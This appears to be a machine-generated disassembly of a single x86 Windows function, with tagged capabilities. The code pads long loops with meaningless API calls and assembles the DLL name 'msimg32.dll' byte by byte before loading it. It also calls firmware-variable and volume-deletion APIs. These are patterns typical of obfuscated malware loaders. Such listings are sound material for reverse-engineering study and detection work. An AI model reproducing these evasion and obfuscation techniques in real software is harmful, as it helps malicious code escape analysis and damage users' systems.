Function at 0x44ecb0
Capabilities:
Get common file path
Get disk information
Get file size
Get hostname
Manipulate console buffer
Read .ini file
Set uefi variable
Terminate thread

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
push 0xffffffffffffffff
push 0x45459b
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
push ecx
mov eax, 0x1af8
call fcn.00411f00
push ebx
mov ebx, dword [sym.imp.MSIMG32.dll_AlphaBlend]
push ebp
mov ebp, dword [sym.imp.KERNEL32.dll_SetDefaultCommConfigW]
push esi
xor eax, eax
mov dword [esp + 0xc], eax
mov esi, dword [esp + 0xc]
push edi
mov edi, dword [esp + 0x10]
cmp eax, 0x2d227
jge 0x44ed0b
push 0
push 0
push 0
call dword [sym.imp.USER32.dll_CharToOemBuffA]
mov eax, dword [esp + 0x10]
cmp dword [0x7e080c], 0x6fb
jne 0x44ed7e
push esi
push 0
push 0
push 0
push 0
push 0
push 0
push 0
push 0
push 0
push 0
call ebx
push 0x30
lea eax, [esp + 0x4c]
push 0
push eax
mov dword [esp + 0x50], 0
call fcn.0040f420
add esp, 0xc
push edi
lea ecx, [esp + 0x48]
push ecx
push 0
call ebp
push 0
lea edx, [esp + 0x30c]
push edx
push 0x403f88
call dword [sym.imp.KERNEL32.dll_GetProfileSectionA]
push 0
push 0
push 0x403fd8
push 0x40401c
call dword [sym.imp.KERNEL32.dll_SetFirmwareEnvironmentVariableW]
mov eax, dword [esp + 0x10]
cmp eax, 0x1e9c85e6
jle 0x44ed99
cmp dword [esp + 0x10], 0xc0e452
je 0x44ed99
cmp dword [esp + 0x50], 0x927f260
jne 0x44edab
inc eax
mov dword [esp + 0x10], eax
cmp eax, 0x7d623
jl 0x44ecf4
jmp 0x44ede4
cmp dword [0x7e080c], 0x28
jne 0x44ede4
lea eax, [esp + 0x10]
push eax
lea ecx, [esp + 0x30c]
push ecx
call dword [sym.imp.KERNEL32.dll_GetComputerNameW]
push 0
call dword [sym.imp.KERNEL32.dll_SetLastError]
push 0x40402c
push 0x403fc4
push 0x404034
call dword [sym.imp.KERNEL32.dll_WriteProfileStringA]
cmp dword [0x7e080c], 0xcf8
jne 0x44ee5e
push 0
push 0
call fcn.004123ba
xor edx, edx
xor edi, edi
push 0x404098
mov dword [esp + 0x38], 7
mov dword [esp + 0x34], edi
mov word [esp + 0x24], dx
call fcn.004081eb
mov esi, eax
add esp, 0xc
lea eax, [esp + 0x18]
call fcn.00406370
lea eax, [esp + 0x78]
push eax
lea ecx, [esp + 0x1c]
mov dword [esp + 0x1b18], edi
call fcn.004058e0
cmp dword [esp + 0x2c], 8
jb 0x44ee4f
mov ecx, dword [esp + 0x18]
push ecx
call fcn.00408206
add esp, 4
push edi
call fcn.0040830f
add esp, 4
push edi
call fcn.004085a1
mov edi, dword [sym.imp.KERNEL32.dll_GetConsoleAliasW]
mov ebx, dword [sym.imp.KERNEL32.dll_WriteConsoleOutputCharacterW]
mov ebp, dword [sym.imp.KERNEL32.dll_GetFileSize]
xor esi, esi
cmp esi, 0x408
jne 0x44ee85
mov eax, 0x5d1
add dword [0x7e080c], eax
cmp dword [0x7e080c], 0xca3
jne 0x44eeb6
push 0
push 0
push 0
push 0
call edi
xor edx, edx
lea ecx, [esp + 0x14]
push ecx
push edx
push edx
push 0x4040b0
push edx
mov dword [esp + 0x24], edx
call ebx
push 0
push 0
call ebp
inc esi
cmp esi, 0x1518d4
jl 0x44ee72
mov eax, dword [0x7e080c]
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GlobalAlloc]
mov dword [0x7e0774], eax
mov eax, dword [0x7e080c]
xor esi, esi
test eax, eax
je 0x44ef78
mov edi, dword [sym.imp.KERNEL32.dll_GetWindowsDirectoryW]
mov ebx, dword [sym.imp.KERNEL32.dll_GetProcessShutdownParameters]
mov ebp, dword [sym.imp.KERNEL32.dll_BuildCommDCBAndTimeoutsA]
cmp eax, 0xfe
jne 0x44ef3b
push 0
lea ecx, [esp + 0x30c]
push ecx
call edi
push 0
call dword [sym.imp.KERNEL32.dll_SetLastError]
push 0
push 0
call ebx
xor eax, eax
lea edx, [esp + 0x18]
mov dword [esp + 0x18], eax
mov dword [esp + 0x1c], eax
mov dword [esp + 0x20], eax
mov dword [esp + 0x24], eax
mov dword [esp + 0x28], eax
push edx
lea eax, [esp + 0x48]
push eax
push 0x4040dc
call ebp
call fcn.0044e7c0
mov eax, dword [0x7e080c]
cmp eax, 0x29
jne 0x44ef6f
push 0
push 0
push 0
push 0
push 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetVolumeInformationA]
push 0
push 0
call dword [sym.imp.KERNEL32.dll_SetProcessShutdownParameters]
mov eax, dword [0x7e080c]
inc esi
cmp esi, eax
jb 0x44eef3
mov esi, dword [sym.imp.KERNEL32.dll_GetPrivateProfileStringW]
mov edi, 0x9682ab
cmp eax, 3
jne 0x44ef9b
push 0
push 0
push 0
push 0
push 0
push 0
call esi
mov eax, dword [0x7e080c]
dec edi
jne 0x44ef83
mov esi, dword [sym.imp.KERNEL32.dll_GetWindowsDirectoryA]
mov edi, dword [sym.imp.KERNEL32.dll_GetLargestConsoleWindowSize]
mov ebp, 0x25887
mov ebx, 0xabebc05c
jmp 0x44efc0
mov dword [0x7e077c], ebx
cmp eax, 0x222
jne 0x44efe2
push 0
lea ecx, [esp + 0x30c]
push ecx
call esi
push 0
call edi
mov eax, dword [0x7e080c]
dec ebp
jne 0x44efc0
mov byte [0x45cac0], 0
call fcn.0044e710
call fcn.0044eaa0
mov ebp, dword [sym.imp.KERNEL32.dll_OpenWaitableTimerA]
mov edi, dword [sym.imp.KERNEL32.dll_GlobalFlags]
mov ebx, dword [sym.imp.KERNEL32.dll_LocalFlags]
xor esi, esi
cmp dword [0x7e080c], 0xba
jne 0x44f021
push 0x4040e4
push 0
push 0
call ebp
push 0
call edi
push 0
call ebx
cmp esi, 0x2f64
jne 0x44f03c
mov eax, 0
add dword [0x7e0774], eax
inc esi
cmp esi, 0x1605a
jl 0x44f00a
mov esi, dword [sym.imp.ADVAPI32.dll_RevertToSelf]
mov edi, 0x1e6dcb
mov ebx, 0x85
cmp dword [0x7e080c], ebx
jne 0x44f05f
call esi
dec edi
jne 0x44f055
mov ebx, 0x6c
push 0x45cac0
mov dword [0x45cac6], 0x6c642e32
mov dword [0x45cac0], 0x6d69736d
mov word [0x45caca], bx
mov word [0x45cac4], 0x3367
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov edx, 0x73
mov eax, 0x6d
mov ecx, 0x33
mov word [0x7e0812], dx
mov word [0x7e0816], ax
mov word [0x7e081a], cx
xor eax, eax
cmp dword [0x7e080c], 0xc30
mov edx, ebx
mov ecx, 0x64
mov word [0x7e0822], dx
mov word [0x7e0826], ax
mov word [0x7e0820], cx
mov edx, 0x67
mov eax, 0x69
mov ecx, 0x6d
mov word [0x7e0818], dx
mov word [0x7e0814], ax
mov word [0x7e0810], cx
mov word [0x7e0824], bx
mov dword [0x7e081c], 0x2e0032
jne 0x44f1e0
push edi
push edi
call dword [sym.imp.KERNEL32.dll_GetConsoleScreenBufferInfo]
push edi
call dword [sym.imp.KERNEL32.dll_SetConsoleCP]
push edi
push edi
call dword [sym.imp.KERNEL32.dll_TerminateThread]
lea ecx, [esp + 0x1c8]
push ecx
push 0x404108
call dword [sym.imp.KERNEL32.dll_FindFirstFileA]
lea edx, [esp + 0x14]
push edx
call dword [sym.imp.KERNEL32.dll_InterlockedDecrement]
mov esi, dword [sym.imp.KERNEL32.dll_GetModuleHandleW]
push edi
call esi
push edi
call dword [sym.imp.KERNEL32.dll_CreateActCtxW]
push edi
lea eax, [esp + 0x14]
push eax
push edi
lea ecx, [esp + 0x314]
push ecx
push edi
call dword [sym.imp.KERNEL32.dll_ReadConsoleA]
push edi
lea edx, [esp + 0xb0c]
push edx
lea eax, [esp + 0x44]
push eax
lea ecx, [esp + 0x44]
push ecx
lea edx, [esp + 0x50]
push edx
lea eax, [esp + 0x48]
push eax
push edi
call dword [sym.imp.KERNEL32.dll_GetNamedPipeHandleStateW]
push edi
call dword [sym.imp.KERNEL32.dll_GlobalFindAtomA]
push 0x404114
call esi
push edi
lea ecx, [esp + 0x130c]
push ecx
push edi
call dword [sym.imp.KERNEL32.dll_VerLanguageNameW]
push edi
push edi
push edi
call dword [sym.imp.KERNEL32.dll_GetProcessAffinityMask]
lea edx, [esp + 0x118]
push edx
call dword [sym.imp.KERNEL32.dll_SetTimeZoneInformation]
push edi
call dword [sym.imp.KERNEL32.dll_ZombifyActCtx]
push 0x404124
call dword [sym.imp.KERNEL32.dll_DeleteVolumeMountPointW]
mov ecx, dword [esp + 0x1b0c]
pop edi
xor eax, eax
mov dword fs:[0], ecx
pop esi
pop ebp
pop ebx
mov esp, ebp
pop ebp
ret